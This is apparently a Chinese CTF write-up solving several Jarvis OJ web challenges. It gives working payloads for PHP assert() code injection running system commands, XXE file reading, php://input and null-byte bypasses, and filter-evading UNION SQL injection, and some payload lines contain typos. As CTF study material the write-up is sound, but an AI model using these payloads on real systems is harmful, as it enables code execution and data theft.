babyphp
首先右键看源码
十分沙雕的在url后输了下?page=fhlag,结果当然是看不到,但是我们可以从这里知道有flag.php这个文件了
一看到GIT,想到GIT源码泄露,用某位大佬的工具来获取源码
可以看到有我们想要的flag.php,当然打开也是没有flag的
从index.php可以得到判断代码
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
看到assert()函数反手一个代码执行读取flag.php
小垃圾经过多次测试与参考大佬wp,得到payload:?page=flag’.system(ls).’
这样就能将flag’.system(ls).'作为strpos()的第一个参数了
$file = "templates/" . "flag'.syatem(ls).'" . ".php";
assert("strpos('flag.'syatem(ls).'', '..') === false") or die("Detected hacking attempt!");
列出下所有文件
然后利用cat命令读取flag.php文件
在源码中得到flag
结语:一定要拼接好代码!
admin
没有什么思路,抓包看也没有什么有用的信息,于是就扫了网站目录
还真有。。。
又看到可爱的机器人啦,进去看看
提示/admin_s3cr3t.php页面
就直接给flag了,我还以为要继续找什么的
好吧是我被骗了。。。答案错误嘤嘤嘤
再抓包看看,改下admin的值就行
localhost
伪造一下IP地址即可
PORT51
十分天真的用 http://web.jarvisoj.com:51/
试了试
其实应该是用公网ip端口访问,而不是改目的端口访问
windows用这个命令就行
curl --local-port 51 http://web.jarvisoj.com:32770/
但是服务器好像出了问题没有给flag
LOGIN
一开始眼瞎没有看到响应包的提示还进行爆破了…尬笑
也是第一次知道md5($pass,true)
具体原理参考:https://www.freebuf.com/column/150063.html写的超级棒!
输入ffifdyop得到flag
神盾局的秘密
通过审查元素大法发现图片来源为src="showimg.php?img=c2hpZWxkLmpwZw=="
,猜测任意文件读取漏洞
试着读取index.php,得到源码
应该是利用反序列化,先看下shield.php中Shield类的定义
接下来就是构造序列化字段了
经过我不太熟练的构造,get it~(查看源码可得)
WEB?
一开始看到这个登录框还以为是sql注入。。。抓包也没有发现什么提示
看源码又没看出个什么。。。看了大佬们的wp说是app.js有问题
复制在app.js搜索一下
再看下checkpass()
25元一次方程组,hhhhhh,笔算是不可能笔算的,上python
data = [81,87,66,123,82,51,97,99,55,95,49,115,95,105,110,116,101,114,101,115,116,105,110,103,125]
flag = ''
for i in data:
flag += chr(i)
print flag
结语:一直以为源码的js啥的没啥好看的,是我孤陋寡闻了
dbq又触及到我的知识盲区了
api调用
以为是命令注入代码注入啥的,又是一道看了wp的题
XXE漏洞 学习了
虽然是最近在看的,但看的都是原理还没有实践过
]>引用外部文件
1.抓包更改content type:application/xml
2.构造xml注入代码,由于提示在,用system命令查看
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "/home/ctf/flag.txt" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>
找了个xml代码。。。还不会写
In a mess
右键源码得到hint:index.phps
在index.phps得到代码
<?php
error_reporting(0);
echo "<!--index.phps-->";
if(!$_GET['id'])
{
header('Location: index.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("flag.txt");
}
else
{
print "work harder!harder!harder!";
}
?>
关键处为:
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
id用弱类型绕过,a用伪协议绕过,b利用eregi()函数的特性(00截断)绕过
所以payload:
?a=php://input&id=0a&b=%004qqqqq
POST:1112 is a nice lab!
进入给的目录???id=1难道是sql注入?
加个单引号看看,果不其然
查询数据库名
?id=-1/12/uniunionon/h/seselectlect/h/1,2,(selselectect/h/context/h/frofromm/h/content)%23
爆表名
?id=-1/*h*/uniunionon/*h*/seselectlect/*h*/1,2,(seselectlect/*h*/group_concat(table_name)/*h*/frofromm/*h*/information_schema.tables/*h*/where/*h*/table_schema=database())#
爆列名,注意将表名进行hex编码
?id=-1/*h*/uniunionon/*h*/seselectlect/*h*/1,2,(seselectlect/*h*/group_concat(column_name)/*h*/frofromm/*h*/information_schema.columns/*h*/where/*h*/table_name=0x636f6e74656e74)#
读内容
?id=-1/*h*/uniunionon/*h*/seselectlect/*h*/1,2,(selselectect/*h*/context/*h*/frofromm/*h*/content)%23